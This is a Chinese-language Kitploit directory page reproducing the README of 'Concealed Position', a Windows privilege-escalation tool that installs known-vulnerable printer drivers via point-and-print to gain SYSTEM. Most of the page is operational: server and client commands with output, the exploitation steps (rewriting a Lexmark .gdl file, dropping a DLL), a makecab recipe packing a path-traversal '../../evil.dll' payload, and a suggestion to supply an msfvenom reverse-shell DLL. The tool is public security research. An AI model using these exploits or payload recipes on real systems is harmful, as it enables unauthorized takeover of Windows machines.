Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/jacob-baines/concealed_position
权限提升漏洞分析漏洞利用渗透测试
GitHubjacob-baines/concealed_position

concealed_position

自带打印驱动提权工具

查看仓库
263445年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

隐藏位置 (Concealed Position)

Concealed Position 是一种利用“自带漏洞”概念的 Windows 本地权限提升攻击。具体而言,Concealed Position (CP) 利用了 Windows 中 设计如此 的包点与打印逻辑,该逻辑允许低权限用户暂存并安装打印机驱动程序。CP 专门安装带有已知漏洞的驱动程序,然后利用这些漏洞提权至 SYSTEM。Concealed Position 首次在 DEF CON 29 上展示。

可用的漏洞利用有哪些

Concealed Position 提供了四个漏洞利用——名字都同样愚蠢:

  • ACIDDAMAGE - CVE-2021-35449 - Lexmark 通用打印驱动程序 LPE
  • RADIANTDAMAGE - CVE-2021-38085 - Canon TR150 打印驱动程序 LPE
  • POISONDAMAGE - CVE-2019-19363 - Ricoh PCL6 打印驱动程序 LPE
  • SLASHINGDAMAGE - CVE-2020-1300 - Windows 打印后台处理程序 LPE

这些漏洞利用很棒,因为除了 SLASHINGDAMAGE 之外,即便相关问题已经被修补,它们仍然能继续工作。Windows 阻止用户使用旧驱动程序的唯一机制是吊销驱动程序的证书——这在历史上(可能?)从未发生过。

但我应该用哪个漏洞利用呢?!

很可能 ACIDDAMAGE。RADIANTDAMAGE 和 POISONDAMAGE 是条件竞争(用于覆盖 DLL),而 SLASHINGDAMAGE 希望大多数地方已经打补丁了。

它是如何工作的?

Concealed Position 包含两部分:一个邪恶打印机和一个客户端。客户端连接到服务器,获取驱动程序,将驱动程序存入驱动存储区,安装打印机,并利用安装过程。很简单!用 MSAPI 的话来说,攻击过程大致如下:

root@kitploit:~
步骤 1:将驱动程序暂存到驱动存储区
客户端到服务器:GetPrinterDriver
服务器到客户端:响应包含驱动程序

步骤 2:从驱动存储区安装驱动程序
客户端:InstallPrinterDriverFromPackage

步骤 3:添加本地打印机(利用阶段)
客户端:Add printer

需要指出的是,SLASHINGDAMAGE 实际上并非如此工作。SLASHINGDAMAGE 是 DEFCON 28(2020)上描述的邪恶打印机攻击的实现,并且早已被修补。我只是碰巧喜欢这个攻击(它激发了后续开发),所以决定把这个漏洞利用留在我的邪恶服务器中……尽管这可能令人困惑。

这是 Windows 漏洞吗?

可以说,是的。驱动存储区是 “受信任的第三方驱动包集合”,需要管理员权限才能修改。使用 GetPrinterDriver,低权限攻击者可以将任意驱动程序暂存到存储区中。对我来说,这跨越了明确的安全边界。

微软似乎在发布 CVE-2021-34481 时也同意这一点。

不过……也可以说这只是系统的一个功能,根本不是一个漏洞。但这其实没那么重要。攻击者可以在标准 Windows 安装上提权至 SYSTEM。

哪些 Windows 版本受到 CVE-2021-34481 影响?

至少 Windows 8.1 及以上版本。

如何使用这些工具?

很简单!简单到要用很多段落来描述!

CP 服务器

首先,让我们看看 cp_server 的命令行选项:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    server!

CLI options:
  -h, --help                     Display the help message
  -e, --exploit arg              The exploit to use
  -c, --cabs arg (=.\cab_files)  The location of the cabinet files

Exploits available:
        ACIDDAMAGE
        POISONDAMAGE
        RADIANTDAMAGE
        SLASHINGDAMAGE

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

上面可以看到服务器需要两个选项:

  1. 要配置打印机所用的漏洞利用
  2. 该仓库的 cab_files 路径(默认是 .\cab_files\)

例如,假设我们要配置一个提供 ACIDDAMAGE 驱动程序的邪恶打印机。只需这样做:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    server!

[+] 创建临时空间...
[+] 解压 .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] 推入驱动存储区
[+] 清理临时空间
[+] 安装打印驱动程序
[+] 驱动程序已安装!
[+] 安装共享打印机
[+] 共享打印机已安装!
[+] 自动化完成。
[!] 重要!手动步骤!
[0] 在高级共享设置中,关闭密码保护的共享。
[1] 准备就绪!

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

就是这样,你会在系统上看到一个新增的打印机:

root@kitploit:~
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer

Name                           ComputerName    Type         DriverName                PortName        Shared   Publishe
                                                                                                               d
----                           ------------    ----         ----------                --------        ------   --------
ACIDDAMAGE                                     Local        Lexmark Universal v2      LPT1:           True     False
CutePDF Writer                                 Local        CutePDF Writer v4.0       CPW4:           False    False
OneNote for Windows 10                         Local        Microsoft Software Pri... Microsoft.Of... False    False
Microsoft XPS Document Writer                  Local        Microsoft XPS Document... PORTPROMPT:     False    False
Microsoft Print to PDF                         Local        Microsoft Print To PDF    PORTPROMPT:     False    False
Fax                                            Local        Microsoft Shared Fax D... SHRFAX:         False    False


PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

请注意,cp_server 提示你有一个手动步骤。因为我是一个蹩脚的黑客,我没能搞明白如何通过编程设置 "高级共享设置" -> "关闭密码保护的共享"。你需要自己手动完成!

使用 SLASHINGDAMAGE 的过程略有不同。你需要先安装 CutePDF Writer(在第三方目录中找到安装程序)。然后运行 cp_server,然后你仍然需要跟随几个手动步骤并重启。

CP 客户端

客户端的用法同样简单。让我们看看它的命令行选项:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    client!

CLI options:
  -h, --help         Display the help message
  -r, --rhost arg    The remote evil printer address
  -n, --name arg     The remote evil printer name
  -e, --exploit arg  The exploit to use
  -l, --local        No remote printer. Local attack only.
  -d, --dll arg      Path to user provided DLL to execute.

Exploits available:
        ACIDDAMAGE
        POISONDAMAGE
        RADIANTDAMAGE

首先,我想提一下 --dll 选项。客户端内置了一个有效载荷,它仅仅会写入 C:\result.txt 文件。然而,用户可以通过这个选项提供自己的 DLL。一个你可能想用的好例子是 msfvenom 生成的 x64 反向 shell。但在接下来的内容中,我们只假设使用内置有效载荷。

cp_client 有两种模式:远程模式和本地模式。远程模式最有趣,因为它会将易受攻击的驱动程序添加到驱动存储区(从而执行自带打印驱动漏洞),所以我们先介绍这种模式。假设我想连接回我们之前配置的邪恶 ACIDDAMAGE 打印机。我只需要提供:

  1. 我要使用的漏洞利用
  2. 邪恶打印机的 IP 地址
  3. 邪恶共享打印机的名称

就像这样!

root@kitploit:~
C:\Users\albinolobster\Desktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    client!

[+] 检查驱动程序是否已安装
[-] 驱动程序不可用。
[+] 回调到邪恶打印机 @ \\10.0.0.9\ACIDDAMAGE
[+] 在驱动存储区暂存驱动程序
[+] 安装暂存的驱动程序
[+] 驱动程序已安装!
[+] 启动 AcidDamage
[+] 检查 C:\ProgramData\Lexmark Universal v2\ 是否存在
[-] 目标目录不存在。触发安装。
[+] 安装打印机
[+] 读取 C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] 搜索文件内容
[+] 更新文件内容
[+] 放置更新后的 gpl
[+] 将 Dll.dll 放到磁盘
[+] 在 c:\tmp 中暂存 dll
[+] 安装打印机
[!] 大功告成!

就是这些!要执行纯本地攻击,你只需要提供漏洞利用:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe -l -e ACIDDAMAGE
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    client!

[+] 检查驱动程序是否已安装
[+] 驱动程序已安装!
[+] 启动 AcidDamage
[+] 检查 C:\ProgramData\Lexmark Universal v2\ 是否存在
[-] 目标目录不存在。触发安装。
[+] 安装打印机
[+] 读取 C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] 搜索文件内容
[+] 更新文件内容
[+] 放置更新后的 gpl
[+] 将 Dll.dll 放到磁盘
[+] 在 c:\tmp 中暂存 dll
[+] 安装打印机
[!] 大功告成!

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

为什么客户端没有 SLASHINGDAMAGE 选项?

SLASHINGDAMAGE 不需要特殊的客户端进行利用。你可以直接使用 UI 或命令行连接到远程打印机就可以了!不过,如果你想自定义有效载荷,你需要更新 cab_files 目录中的 CAB 文件。但这很简单。类似这样:

root@kitploit:~
echo “evil.dll” “../../evil.dll” > files.txt
makecab /f files.txt
move disk1/1.cab exploit.cab

有一点可能很重要:仓库中 SLASHINGDAMAGE 的版本会将 ualapi.dll 放到 SYSTEM32 中,并且在重启时执行,它会创建 C:\result.txt 文件。

拉取请求和 Bug

你想提交拉取请求或报告 bug 吗?太好了!我对此表示感激,但如果你没有提供足够的细节来重现 bug 或解释为什么应该接受拉取请求,那么有 100% 的几率我会直接关闭你的问题而不加评论。我感谢你,但我也非常忙。

其他事项

需要注意的一点是,inject_me.dll 实际上是以 C 数组的形式嵌入在 cp_client 中。如果你更新了 inject_me,你需要手动更新 C 数组(只需使用 xxd 生成数组即可)。

下载工具